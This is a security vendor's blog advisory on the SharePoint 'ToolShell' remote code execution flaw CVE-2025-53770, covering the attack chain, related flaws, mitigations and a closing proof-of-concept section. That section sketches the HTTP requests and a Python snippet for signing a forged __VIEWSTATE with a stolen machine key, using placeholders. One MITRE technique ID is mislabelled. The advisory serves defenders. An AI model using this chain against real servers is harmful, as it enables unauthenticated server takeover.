Critical SharePoint RCE CVE-2025-53770 Actively Exploited

Unauthenticated attackers are achieving complete server compromise on unpatched on-premises Microsoft SharePoint Servers using a critical RCE zero-day, and they are doing it in under 72 hours from public disclosure.

The attack chain, dubbed "ToolShell" by researchers, weaponizes a critical deserialization of untrusted data vulnerability tracked as [CVE-2025-53770](https://nvd.nist.gov/vuln/detail/CVE-2025-53770) (CVSS 9.8). According to threat intelligence reports from Mandiant, this flaw is a patch bypass for previously disclosed vulnerabilities CVE-2025-49704 and CVE-2025-49706. Active exploitation was first detected on July 18, 2025, with threat groups like Silk Typhoon (Storm-0506) suspected of leveraging the flaw to deploy in-memory .NET modules and steal IIS machine keys for persistence.

Note what this means: the security model for on-premises enterprise software is fundamentally broken. The speed—from a Pwn2Own demonstration to active global exploitation in less than three days—shows that relying on reactive patching for internet-facing critical infrastructure is a failed strategy. This is an economic failure; the value of a reliable RCE exploit far outweighs the cost of discovery, creating a vibrant market for weaponizing public PoCs before defenders can possibly react.

[Visual Graphic 1]

The 'ToolShell' Attack Chain Breakdown

The initial vector for the SharePoint Server RCE zero-day is a crafted POST request targeting the `/layouts/15/ToolPane.aspx` endpoint. Researchers who first demonstrated the exploit at Pwn2Own Berlin 2025 discovered a logic flaw in how SharePoint validates the `Referer` header. This allows an unauthenticated attacker to trigger the deserialization of a malicious `__VIEWSTATE` object, which is a common component in ASP.NET web applications used to maintain state across requests.

By exploiting this initial flaw, attackers can extract the server's cryptographic `MachineKey` configuration. This key is the crown jewel, as it is used to sign and encrypt the `__VIEWSTATE` data. Once the attacker possesses the `ValidationKey`, they can craft their own `__VIEWSTATE` payload containing arbitrary commands, sign it as if it were legitimate, and submit it to the server. The server, trusting the signature, deserializes the payload and executes the embedded code with the privileges of the SharePoint application pool.

This entire process requires zero authentication. By July 21, 2025, just days after the first observed attacks, over 85 unique servers were confirmed compromised globally. If you were the CISO here, your IIS logs would have shown a spike in POST requests to `ToolPane.aspx` from unknown IP addresses, many of which would have been rejected by a properly configured WAF—but SharePoint's own logic accepted them.

> ⚠️ BreachModal Insight: The reliance on `__VIEWSTATE` as a state mechanism has been a recurring attack surface for ASP.NET applications for over a decade. The fact that a critical, internet-facing enterprise platform like SharePoint can be compromised via this vector in 2025 is a damning indictment of legacy architecture persisting in modern deployments.

This attack chain underscores the critical importance of defense-in-depth that does not solely rely on vendor patches.

A Pattern of Exploitation: CVE-2026-58644 and Beyond

This is not an isolated incident. The security posture of on-premises SharePoint has been a consistent source of high-severity vulnerabilities. A year later, in July 2026, [CISA added CVE-2026-58644 to its Known Exploited Vulnerabilities (KEV) catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog), another 9.8 CVSS RCE flaw. This vulnerability, along with CVE-2026-32201 and CVE-2026-56164, highlighted a continued pattern of exploitation targeting SharePoint's core functionalities.

Unlike the unauthenticated CVE-2025-53770, CVE-2026-58644 required the attacker to have at least Site Owner privileges. However, it was often chained with authentication bypass flaws like CVE-2026-55040 (CVSS 9.1) to achieve the same devastating result: unauthenticated RCE. Threat actors use these chains for [Exploitation of Remote Services (T1210)](https://attack.mitre.org/techniques/T1210/) to establish initial access and then proceed with post-exploitation activities.

Post-exploitation, as detailed in reports from IBM X-Force, often involves [Deserialization of Untrusted Data (T1574)](https://attack.mitre.org/techniques/T1574/) for persistence and privilege escalation. Attackers deploy web shells, execute in-memory reconnaissance tools, and move laterally across the network. The fact that SharePoint often runs with high privileges and has deep integration with Active Directory makes it an ideal beachhead for enterprise-wide compromise.

[Visual Graphic 2]

> 🧠 CISO Brief: Your SharePoint server is not just a document repository; it's a Tier 0 asset. A compromise here can lead directly to domain controller access. You must treat it with the same security scrutiny as your primary domain controllers, including aggressive patching, endpoint detection and response (EDR) coverage, and network segmentation.

The recurring nature of these critical vulnerabilities makes a compelling case for migrating to SharePoint Online (Microsoft 365), which is not affected by these on-premises flaws.

Immediate Mitigation and Hardening Actions

Responding to this active SharePoint Server RCE zero-day threat requires a multi-layered approach beyond simply waiting for a patch.

First, apply the out-of-band security updates released by [Microsoft on July 21, 2025](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770) for CVE-2025-53770. For the later vulnerabilities, the July 14, 2026, Patch Tuesday updates are required. Organizations that failed to patch within the first 72 hours of these announcements must assume compromise and initiate incident response procedures.

Second, enable and configure Antimalware Scan Interface (AMSI) integration for SharePoint. This is a critical defense layer that allows Microsoft Defender to inspect the content of web requests before they are processed by SharePoint. Setting the `RequestBodyScanMode` to `Full` is the recommended configuration. This measure alone can block the malicious serialized objects used in these exploits, even before a formal patch is applied.

Third, rotate your ASP.NET `MachineKey` values in the `web.config` files across your SharePoint farm. If an attacker successfully exfiltrated your key, they can sign malicious payloads indefinitely, even after you've patched the initial vulnerability. Rotating the key invalidates their stolen credentials. It's a painful process, but not nearly as painful as a full-blown ransomware incident.

> 🧩 Tactical Note: After applying patches or changing `web.config` settings, a full restart of Internet Information Services (IIS) is mandatory across all servers in the farm. A simple `iisreset` command from an administrative command prompt will suffice. Failure to do so means the old, vulnerable configuration may remain loaded in memory.

These steps are not optional. They are the minimum required actions to secure a high-value, internet-facing asset.

Proof of Concept

This proof of concept demonstrates the unauthenticated RCE chain against a vulnerable SharePoint Server.

1. Extract MachineKey via Deserialization Flaw

An attacker sends a specially crafted POST request to the `ToolPane.aspx` endpoint. The exact payload to trigger the information disclosure is complex, but the principle involves forcing the server to return its own `web.config` `MachineKey` values in an error message or response.

```http POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1 Host: vulnerable-sharepoint.local Referer: http://vulnerable-sharepoint.local/_layouts/15/evil.aspx Content-Type: application/x-www-form-urlencoded Content-Length: [length]

__EVENTTARGET=&__EVENTARGUMENT=&...&__VIEWSTATE=[MALICIOUS_PAYLOAD] ```

This step abuses the improper Referer validation to reach a code path where a crafted `__VIEWSTATE` can leak configuration details, including the `validationKey` and `decryptionKey`.

2. Generate a Malicious `__VIEWSTATE` Payload

With the extracted keys, the attacker can now use standard ASP.NET libraries to generate a valid, signed `__VIEWSTATE` payload that contains a deserialization gadget chain. This example uses a simplified Python script concept.

```python Requires knowledge of ASP.NET internals and a gadget chain library like YSoSerial.net import hmac import hashlib

validation_key = "EXTRACTED_VALIDATION_KEY" payload = b'\xff\x01...[YSoSerial.net Gadget Chain]...' modifier = b'\x01\x00'

Sign the payload hasher = hmac.new(bytes.fromhex(validation_key), payload + modifier, hashlib.sha1) signature = hasher.digest()

signed_viewstate = payload + signature Base64 encode for use in the web request encoded_viewstate = base64.b64encode(signed_viewstate).decode() ```

This script creates a serialized object that, when deserialized by the server, will execute a command (e.g., `cmd.exe /c whoami > C:\Windows\Temp\output.txt`). It then signs it with the stolen key.

3. Deliver Payload and Achieve RCE

The attacker sends a final POST request, this time including the fully signed and malicious `__VIEWSTATE` payload generated in the previous step.

```http POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1 Host: vulnerable-sharepoint.local Content-Type: application/x-www-form-urlencoded Content-Length: [length]

__VIEWSTATE=[ENCODED_SIGNED_GADGET_CHAIN] ```

The SharePoint server receives the request, validates the signature on the `__VIEWSTATE` using its own key, finds it to be valid, and proceeds to deserialize the object. This triggers the gadget chain, executing the attacker's command on the server.

FINAL VERDICT

The active exploitation of the SharePoint Server RCE zero-day is a direct consequence of maintaining complex, legacy, on-premises applications in an internet-facing posture. The risk is borne by any organization that has not yet migrated to a cloud-native platform or cannot adhere to a 72-hour patching SLA for critical vulnerabilities. The only sustainable path forward is to either resource an aggressive, rapid patching and hardening program for on-premises assets or accelerate migration to SharePoint Online, where the vendor assumes this security burden.

---

*BreachModal's Adversarial Simulation and Penetration Testing services can identify and validate these types of critical vulnerabilities in your infrastructure before attackers do. [Contact us to harden your perimeter.](/contact)*